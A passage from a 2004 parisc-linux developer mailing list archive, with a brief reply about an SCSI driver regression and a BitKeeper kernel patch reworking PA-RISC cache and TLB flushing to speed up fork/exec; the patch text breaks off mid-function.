Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3IGa3a29154; Sun, 18 Apr 2004 12:36:03 -0400
In-Reply-To: <40829331.6040905@tiscali.be>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Apr 2004 16:36:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21458

On Sun, 2004-04-18 at 09:39, Joel Soete wrote:
> I presume that wrong stuff come from the ccio_fill_pdir() or ccio_coalesce_chunks() merge with lba one?
> But I don't have yet more accurate idea on what went wrong here (difference between functions are important).
> 
> (would it help to rebuild this same kernel tree with gcc-3.0 32bit would help? right now is was build with latest gcc-3.3.3.)
> 
> Grant, James any idea?

Well, actually, the problem can't be in the code you cite, otherwise my
raven wouldn't work either and it's been fine.

However, it's entirely possible that the effects of the patch are
causing issues in the ncr driver.  What it does is correctly coalesce
segments in the iommu.  Before this, the parisc iommus rarely did
coalescing, so our SG lists were usually lots of page sized entities. 
Now the individual entries can be up to 256k long.

I suspect, since your C110 has a 53c720 (using the ncr driver) and my
C360 has a 53c875 (using sym_2) that the ncr driver can't cope with sg
lists whose entries are so long.

The problems are probably due to some sort of fixed length assumption on
sg elements in the ncr driver.

James






From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Possibly working for/exec speedup patch
Date: 18 Apr 2004 12:12:40 -0500
Lines: 1033
Approved: news@gmane.org
Message-ID: <1082308361.1969.32.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623386 8451 80.91.229.3 (22 Nov 2014 02:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:46 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sun Apr 18 11:12:47 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01E934831
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Apr 2004 11:12:46 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3IHCfa30805 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Apr 2004 13:12:41 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Apr 2004 17:12:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21459

This one has degraded slightly from the previous (still showing a 50%
decrease in fork/exec, though).

This one, I can't actually seem to break under stress (although I'm sure
someone else will manage...).

James

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher.
# This patch includes the following deltas:
#	           ChangeSet	1.1792  -> 1.1799 
#	         mm/fremap.c	1.16    -> 1.18   
#	include/asm-parisc/cache.h	1.6     -> 1.8    
#	arch/parisc/kernel/pacache.S	1.5     -> 1.8    
#	include/asm-parisc/page.h	1.5     -> 1.8    
#	arch/parisc/kernel/entry.S	1.14    -> 1.17   
#	arch/parisc/kernel/cache.c	1.12    -> 1.15   
#	         mm/memory.c	1.154   -> 1.157  
#	include/asm-parisc/tlb.h	1.1     -> 1.2    
#	arch/parisc/kernel/sys_parisc.c	1.17    -> 1.18   
#	include/asm-parisc/pgtable.h	1.16    -> 1.18   
#	include/asm-parisc/cacheflush.h	1.9     -> 1.14   
#	arch/parisc/kernel/signal.c	1.14    -> 1.15   
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 04/04/14	jejb@raven.il.steeleye.com	1.1790.1.1
# ICI
# --------------------------------------------
# 04/04/14	jejb@raven.il.steeleye.com	1.1793
# hand
# --------------------------------------------
# 04/04/15	jejb@raven.il.steeleye.com	1.1794
# First draft of working stingy cache flushing
# --------------------------------------------
# 04/04/16	jejb@raven.il.steeleye.com	1.1795
# More clean ups
# --------------------------------------------
# 04/04/16	jejb@raven.il.steeleye.com	1.1796
# Fix flushing
# 
# - eliminate flush_icache_page()
# - make copy_user_page do correct flushing
# --------------------------------------------
# 04/04/18	jejb@raven.il.steeleye.com	1.1797
# Add missing page alignment to cache flush arguments
# --------------------------------------------
# 04/04/18	jejb@raven.il.steeleye.com	1.1798
# Add kernel dcache flush limitation
# --------------------------------------------
# 04/04/18	jejb@raven.il.steeleye.com	1.1799
# Eliminate the PG_dcache_dirty bit
# 
# We now rely on the FLUSH_PAGE bit telling us if
# the page needs flushing or not
# --------------------------------------------
#
diff -Nru a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
--- a/arch/parisc/kernel/cache.c	Sun Apr 18 12:07:31 2004
+++ b/arch/parisc/kernel/cache.c	Sun Apr 18 12:07:31 2004
@@ -68,12 +68,14 @@
 {
 	struct page *page = pte_page(pte);
 
-	if (VALID_PAGE(page) && page->mapping &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
-
+	if (VALID_PAGE(page))
+		/* We used to check to see if the page needed flushing here.
+		 * Now this API automatically detects whether the page
+		 * needs flushing or not.  This is used to defer calls to
+		 * kernel page flushing until mmu update time.
+		 *
+		 * DO NOT REMOVE OR CONDITIONALISE THIS */
 		flush_kernel_dcache_page(page_address(page));
-		clear_bit(PG_dcache_dirty, &page->flags);
-	}
 }
 
 void
@@ -230,6 +232,7 @@
 void __flush_dcache_page(struct page *page)
 {
 	struct list_head *l;
+	pte_t *pte;
 
 	flush_kernel_dcache_page(page_address(page));
 
@@ -260,9 +263,10 @@
 		 * have to find a congruent address with an existing
 		 * translation */
 
-		if (!translation_exists(mpnt, addr))
+		if (!(pte = translation_exists(mpnt, addr)))
 			continue;
 
+		pte_clear_flush(pte);
 		__flush_cache_page(mpnt, addr);
 
 		/* If we find an address to flush, that will also
@@ -293,15 +297,205 @@
 		/* This is just for speed.  If the page translation isn't
 		 * there there's no point exciting the nadtlb handler into
 		 * a nullification frenzy */
-		if(!translation_exists(mpnt, addr))
+		if(!(pte = translation_exists(mpnt, addr)))
 			continue;
 
+		pte_clear_flush(pte);
 		__flush_cache_page(mpnt, addr);
 
 		return;
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
+
+/* set to max pages to flush before a full flush.  Zero means no limit */
+#define MAX_FLUSH_PAGES 0
+#undef	DEBUG_PAGE_FLUSHING
+
+#ifdef DEBUG_PAGE_FLUSHING
+#define DBG(a...)	printk(a)
+#else
+#define DBG(...)
+#endif
+
+#if (MAX_FLUSH_PAGES != 0)
+
+/* we get to use the bottom 12 bits of the addr for flags since the
+ * address must be page aligned */
+#define ICACHE_FLUSH_FLAG	0x1
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	unsigned long *pages;
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	pages = kmalloc(MAX_FLUSH_PAGES * sizeof(unsigned long), GFP_ATOMIC);
+	if(!pages) {
+		printk(KERN_ERR "flush_tlb_mm: allocation failed: full flush\n");
+		goto full_flush;
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			pages[actual_count] = start;
+		 
+			if (vma->vm_flags & VM_EXEC)
+				pages[actual_count] |= ICACHE_FLUSH_FLAG;
+			if(++actual_count >= MAX_FLUSH_PAGES)
+				goto full_flush_free;
+
+		}
+	}
+			
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+	for(count = 0; count < actual_count; count++) {
+		unsigned long addr = pages[count] & PAGE_MASK;
+		flush_user_dcache_page(addr);
+		if(pages[count] & ICACHE_FLUSH_FLAG) {
+			flush_user_icache_page(addr);
+			pitlb_user(addr);
+		}
+		pdtlb_user(addr);
+	}
+ out_free:
+	kfree(pages);
+ out:
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	return;
+
+ full_flush_free:
+	DBG("flush_cache_mm: over max pages %ld (count %ld), flushing everything\n", actual_count, count);
+	flush_cache_all();
+	goto out_free;
+
+ full_flush:
+	flush_cache_all();
+	goto out;
+}
+
+#else
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+#if 1
+	static int flushed = 0;
+
+	if(unlikely(!flushed)) {
+		printk("flush_cache_mm: INIT FLUSH ALL\n");
+		flushed = 1;
+		flush_cache_all();
+		return;
+	}
+#endif
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			if(!pte_flush(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			pte_clear_flush(pte);
+			flush_user_dcache_page(start);
+			if (vma->vm_flags & VM_EXEC) {
+				flush_user_icache_page(start);
+				pitlb_user(start);
+			}
+			pdtlb_user(start);
+			actual_count++;
+		}
+	}
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+}
+#endif
+
+EXPORT_SYMBOL(flush_cache_mm);
 
 /* Defined in arch/parisc/kernel/pacache.S */
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
diff -Nru a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
--- a/arch/parisc/kernel/entry.S	Sun Apr 18 12:07:31 2004
+++ b/arch/parisc/kernel/entry.S	Sun Apr 18 12:07:31 2004
@@ -49,7 +49,6 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -1017,6 +1016,10 @@
 	or		t1,pte,t0	/* t0 has R bit set */
 	and,*<>         t1,pte,%r0      /* test and nullify if already set */
 	std             t0,0(ptp)       /* write back pte */
+	ldi		_PAGE_FLUSH,t1
+	or		t1,t0,t0
+	and,*<>		t1,pte,%r0
+	std		t0,0(ptp)
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
@@ -1093,7 +1096,7 @@
 	shladd           t0,3,ptp,ptp
 	ldi		_PAGE_ACCESSED,t1
 	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_check_flush_20w
+	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_emulate
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
@@ -1112,23 +1115,6 @@
 	rfir
 	nop
 
-nadtlb_check_flush_20w:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
-	idtlbt          pte,prot
-
-	rfir
-	nop
-
 #else
 
 dtlb_miss_11:
@@ -1514,6 +1500,10 @@
 	or		t1,pte,t0	/* t0 has R bit set */
 	and,*<>         t1,pte,%r0      /* test and nullify if already set */
 	std             t0,0(ptp)       /* write back pte */
+	ldi		_PAGE_FLUSH,t1
+	or		t1,t0,t0
+	and,*<>		t1,pte,%r0
+	std		t0,0(ptp)
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
diff -Nru a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
--- a/arch/parisc/kernel/pacache.S	Sun Apr 18 12:07:31 2004
+++ b/arch/parisc/kernel/pacache.S	Sun Apr 18 12:07:31 2004
@@ -308,6 +308,24 @@
 

 1:
+#ifdef __LP64__
+	ldd 0(%r25),%r19
+	ldd 8(%r25),%r20
+	ldd 16(%r25),%r21
+	ldd 24(%r25),%r22
+	std %r19,0(%r26)
+	std %r20,8(%r26)
+	std %r21,16(%r26)
+	std %r22,24(%r26)
+	ldd 32(%r25),%r19
+	ldd 40(%r25),%r20
+	ldd 48(%r25),%r21
+	ldd 56(%r25),%r22
+	std %r19,32(%r26)
+	std %r20,40(%r26)
+	std %r21,48(%r26)
+	std %r22,56(%r26)
+#else
 	ldw 0(%r25),%r19
 	ldw 4(%r25),%r20
 	ldw 8(%r25),%r21
@@ -340,6 +358,7 @@
 	stw %r20,52(%r26)
 	stw %r21,56(%r26)
 	stw %r22,60(%r26)
+#endif
 	ldo 64(%r26),%r26
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r25),%r25
@@ -375,7 +394,6 @@
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
 
 	/*
 	 * We can't do this since copy_user_page is used to bring in
@@ -390,9 +408,9 @@
 	 * lobby for such a change.
 	 */
 
-	.export copy_user_page_asm,code
+	.export copy_user_page_vaddr_asm,code
 
-copy_user_page_asm:
+copy_user_page_vaddr_asm:
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -436,6 +454,24 @@
 

 1:
+#ifdef __LP64__
+	ldd 0(%r29),%r19
+	ldd 8(%r29),%r20
+	ldd 16(%r29),%r21
+	ldd 24(%r29),%r22
+	std %r19,0(%r28)
+	std %r20,8(%r28)
+	std %r21,16(%r28)
+	std %r22,24(%r28)
+	ldd 32(%r29),%r19
+	ldd 40(%r29),%r20
+	ldd 48(%r29),%r21
+	ldd 56(%r29),%r22
+	std %r19,32(%r28)
+	std %r20,40(%r28)
+	std %r21,48(%r28)
+	std %r22,56(%r28)
+#else
 	ldw 0(%r29),%r19
 	ldw 4(%r29),%r20
 	ldw 8(%r29),%r21
@@ -468,6 +504,7 @@
 	stw %r20,52(%r28)
 	stw %r21,56(%r28)
 	stw %r22,60(%r28)
+#endif
 	ldo 64(%r28),%r28
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r29),%r29
@@ -477,7 +514,6 @@
 	.exit
 
 	.procend
-#endif
 
 	.export clear_user_page_asm,code
 
@@ -506,6 +542,16 @@
 	ldi 64,%r1
 
 1:
+#ifdef __LP64__
+	std %r0,0(%r28)
+	std %r0,8(%r28)
+	std %r0,16(%r28)
+	std %r0,24(%r28)
+	std %r0,32(%r28)
+	std %r0,40(%r28)
+	std %r0,48(%r28)
+	std %r0,56(%r28)
+#else
 	stw %r0,0(%r28)
 	stw %r0,4(%r28)
 	stw %r0,8(%r28)
@@ -522,6 +568,7 @@
 	stw %r0,52(%r28)
 	stw %r0,56(%r28)
 	stw %r0,60(%r28)
+#endif
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r28),%r28
 
@@ -531,9 +578,9 @@
 
 	.procend
 
-	.export flush_kernel_dcache_page
+	.export __flush_kernel_dcache_page
 
-flush_kernel_dcache_page:
+__flush_kernel_dcache_page:
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -542,9 +589,11 @@
 	ldw     R%dcache_stride(%r1),%r23
 
 #ifdef __LP64__
-	depdi,z 1,63-PAGE_SHIFT,1,%r25
+	depdi,z 1,63-PAGE_SHIFT,1,%r25	/* PAGE_SIZE */
+	depdi	0,63,12,%r26		/* page align */
 #else
-	depwi,z 1,31-PAGE_SHIFT,1,%r25
+	depwi,z 1,31-PAGE_SHIFT,1,%r25	/* PAGE_SIZE */
+	depdi	0,31,12,%r26		/* page align */
 #endif
 	add     %r26,%r25,%r25
 	sub     %r25,%r23,%r25
@@ -586,9 +635,11 @@
 	ldw     R%dcache_stride(%r1),%r23
 
 #ifdef __LP64__
-	depdi,z 1,63-PAGE_SHIFT,1,%r25
+	depdi,z 1,63-PAGE_SHIFT,1,%r25  /* PAGE_SIZE into %r25 */
+	depdi	0,63,12,%r26		/* page align argument */
 #else
-	depwi,z 1,31-PAGE_SHIFT,1,%r25
+	depwi,z 1,31-PAGE_SHIFT,1,%r25	/* PAGE_SIZE */
+	depwi	0,31,12,%r26		/* Page align */
 #endif
 	add     %r26,%r25,%r25
 	sub     %r25,%r23,%r25
@@ -631,8 +682,10 @@
 
 #ifdef __LP64__
 	depdi,z 1,63-PAGE_SHIFT,1,%r25
+	depdi	0,63,12,%r26
 #else
 	depwi,z 1,31-PAGE_SHIFT,1,%r25
+	depwi	0,31,12,%r26
 #endif
 	add     %r26,%r25,%r25
 	sub     %r25,%r23,%r25
diff -Nru a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
--- a/arch/parisc/kernel/signal.c	Sun Apr 18 12:07:31 2004
+++ b/arch/parisc/kernel/signal.c	Sun Apr 18 12:07:31 2004
@@ -375,10 +375,9 @@
 	}
 #endif
 
-	flush_user_dcache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
-	flush_user_icache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
+	__flush_cache_range(current->active_mm,
+			    (unsigned long) &frame->tramp[0],
+			    (unsigned long) &frame->tramp[TRAMP_SIZE]);
 
 	/* TRAMP Words 0-4, Lenght 5 = SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 = SIGRETURN_TRAMP
diff -Nru a/include/asm-parisc/cache.h b/include/asm-parisc/cache.h
--- a/include/asm-parisc/cache.h	Sun Apr 18 12:07:31 2004
+++ b/include/asm-parisc/cache.h	Sun Apr 18 12:07:31 2004
@@ -46,7 +46,7 @@
 extern void flush_kernel_icache_range_asm(unsigned long, unsigned long);
 extern void flush_user_dcache_range_asm(unsigned long, unsigned long);
 extern void flush_kernel_dcache_range_asm(unsigned long, unsigned long);
-extern void flush_kernel_dcache_page(void *);
+extern void __flush_kernel_dcache_page(void *);
 extern void flush_kernel_icache_page(void *);
 extern void disable_sr_hashing(void);   /* turns off space register hashing */
 extern void disable_sr_hashing_asm(int); /* low level support for above */
@@ -63,9 +63,11 @@
 extern int icache_stride;
 extern struct pdc_cache_info cache_info;
 
-#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr));
-#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr));
-#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr));
+#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr))
+#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr))
+#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr))
+#define pdtlb_user(addr)    asm volatile("pdtlb 0(%%sr3,%0)" : : "r" (addr))
+#define pitlb_user(addr)    asm volatile("pitlb 0(%%sr3,%0)" : : "r" (addr))
 
 #endif /* ! __ASSEMBLY__ */
 
diff -Nru a/include/asm-parisc/cacheflush.h b/include/asm-parisc/cacheflush.h
--- a/include/asm-parisc/cacheflush.h	Sun Apr 18 12:07:31 2004
+++ b/include/asm-parisc/cacheflush.h	Sun Apr 18 12:07:31 2004
@@ -9,14 +9,7 @@
 
 /* Cache flush operations */
 
-#ifdef CONFIG_SMP
-#define flush_cache_mm(mm) flush_cache_all()
-#else
-#define flush_cache_mm(mm) flush_cache_all_local()
-#endif
-
-#define flush_kernel_dcache_range(start,size) \
-	flush_kernel_dcache_range_asm((start), (start)+(size));
+extern void flush_cache_mm(struct mm_struct *);
 
 extern void flush_cache_all_local(void);
 
@@ -33,52 +26,6 @@
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
 
-/* The following value needs to be tuned and probably scaled with the
- * cache size.
- */
-
-#define FLUSH_THRESHOLD 0x80000
-
-static inline void
-flush_user_dcache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_dcache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_dcache_range_asm(start,end);
-	else
-		flush_data_cache();
-#endif
-}
-
-static inline void
-flush_user_icache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_icache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_icache_range_asm(start,end);
-	else
-		flush_instruction_cache();
-#endif
-}
-
-extern void __flush_dcache_page(struct page *page);
-
-static inline void flush_dcache_page(struct page *page)
-{
-	if (page->mapping && list_empty(&page->mapping->i_mmap) &&
-			list_empty(&page->mapping->i_mmap_shared)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-	} else {
-		__flush_dcache_page(page);
-	}
-}
-
-#define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page)); flush_kernel_icache_page(page_address(page)); } while (0)
-
 #define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e); flush_kernel_icache_range_asm(s,e); } while (0)
 
 #define copy_to_user_page(vma, page, vaddr, dst, src, len) \
@@ -88,49 +35,31 @@
 #define copy_from_user_page(vma, page, vaddr, dst, src, len) \
 	memcpy(dst, src, len)
 
-static inline void flush_cache_range(struct vm_area_struct *vma,
-		unsigned long start, unsigned long end)
-{
-	int sr3;
-
-	if (!vma->vm_mm->context) {
-		BUG();
-		return;
-	}
-
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
-	} else {
-		flush_cache_all();
-	}
-}
-
 /* Simple function to work out if we have an existing address translation
  * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-				     unsigned long addr)
+static inline pte_t *__translation_exists(struct mm_struct *mm,
+					  unsigned long addr)
 {
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pgd_t *pgd = pgd_offset(mm, addr);
 	pmd_t *pmd;
 	pte_t *pte;
 
 	if(pgd_none(*pgd))
-		return 0;
+		return NULL;
 
 	pmd = pmd_offset(pgd, addr);
 	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
+		return NULL;
 
 	pte = pte_offset_map(pmd, addr);
 
 	/* The PA flush mappings show up as pte_none, but they're
 	 * valid none the less */
 	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
-		return 0;
-	return 1;
+		return NULL;
+	return pte;
 }
+#define translation_exists(vma, addr)	__translation_exists((vma)->vm_mm, addr)
 

 /* Private function to flush a page from the cache of a non-current
@@ -157,8 +86,11 @@
 	mtsp(vma->vm_mm->context, 3);
 
 	flush_user_dcache_page(vmaddr);
-	if(vma->vm_flags & VM_EXEC)
+	if(vma->vm_flags & VM_EXEC) {
 		flush_user_icache_page(vmaddr);
+		pitlb_user(vmaddr);
+	}
+	pdtlb_user(vmaddr);
 
 	/* put the old current process back */
 	mtsp(space, 3);
@@ -171,21 +103,153 @@
 {
 	if (likely(vma->vm_mm->context == mfsp(3))) {
 		flush_user_dcache_page(vmaddr);
-		if (vma->vm_flags & VM_EXEC)
+		if (vma->vm_flags & VM_EXEC) {
 			flush_user_icache_page(vmaddr);
+			pitlb_user(vmaddr);
+		}
+		pdtlb_user(vmaddr);
 	} else {
 		flush_user_cache_page_non_current(vma, vmaddr);
 	}
 }
 
+/* The following value needs to be tuned and probably scaled with the
+ * cache size.
+ */
+
+#define FLUSH_THRESHOLD 0x80000
+
+static inline void
+__flush_cache_range(struct mm_struct *mm, unsigned long start,
+		    unsigned long end)
+{
+	unsigned long vaddr;
+	pte_t *pte;
+
+	/* small range, don't bother to flush the whole page (and
+	 * thus don't mark the page as flushed */
+	if (likely(end - start < PAGE_SIZE)) {
+		flush_user_dcache_range_asm(start,end);
+		flush_user_icache_range_asm(start,end);
+		return;
+	}
+
+	for (vaddr = start & PAGE_MASK; vaddr < end; vaddr += PAGE_SIZE) {
+		if(unlikely(!(pte = __translation_exists(mm, vaddr))))
+			continue;
+
+		if (unlikely(!pte_flush(*pte)))
+			continue;
+
+		pte_clear_flush(pte);
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+		pdtlb_user(vaddr);
+		pitlb_user(vaddr);
+	}
+}
+
+static inline void flush_cache_range(struct vm_area_struct *vma,
+				     unsigned long start, unsigned long end)
+{
+	unsigned long sr3 = mfsp(3);
+
+	BUG_ON(!vma->vm_mm->context);
+
+	if (likely(vma->vm_mm->context == sr3)) {
+		__flush_cache_range(vma->vm_mm, start, end);
+	} else {
+		unsigned long pgd = mfctl(25);
+		/* we don't mind taking interrups since they may not
+		 * do anything with user space, but we can't
+		 * be preempted here */
+		preempt_disable();
+
+		/* make us current */
+		mtctl(__pa(vma->vm_mm->pgd), 25);
+		mtsp(vma->vm_mm->context, 3);
+
+		__flush_cache_range(vma->vm_mm, start, end);
+
+		/* put the old current process back */
+		mtsp(sr3, 3);
+		mtctl(pgd, 25);
+		preempt_enable();
+
+	}
+}
+
+extern void __flush_dcache_page(struct page *page);
+
+static inline void flush_dcache_page(struct page *page)
+{
+	if (!(page->mapping && list_empty(&page->mapping->i_mmap) &&
+			list_empty(&page->mapping->i_mmap_shared)))
+		__flush_dcache_page(page);
+}
+
+static inline void flush_kernel_dcache_page(void *vaddr)
+{
+	pte_t *pte = __translation_exists(&init_mm, (unsigned long)vaddr);
+
+	if (likely(pte && pte_flush(*pte))) {
+		pte_clear_flush(pte);
+		__flush_kernel_dcache_page(vaddr);
+		pdtlb_kernel(vaddr);
+	}
+}
+
 static inline void
 flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
+	pte_t *pte = translation_exists(vma, vmaddr);
+
 	BUG_ON(!vma->vm_mm->context);
 
-	if(likely(translation_exists(vma, vmaddr)))
+	if (likely(pte && pte_flush(*pte))) {
+		pte_clear_flush(pte);
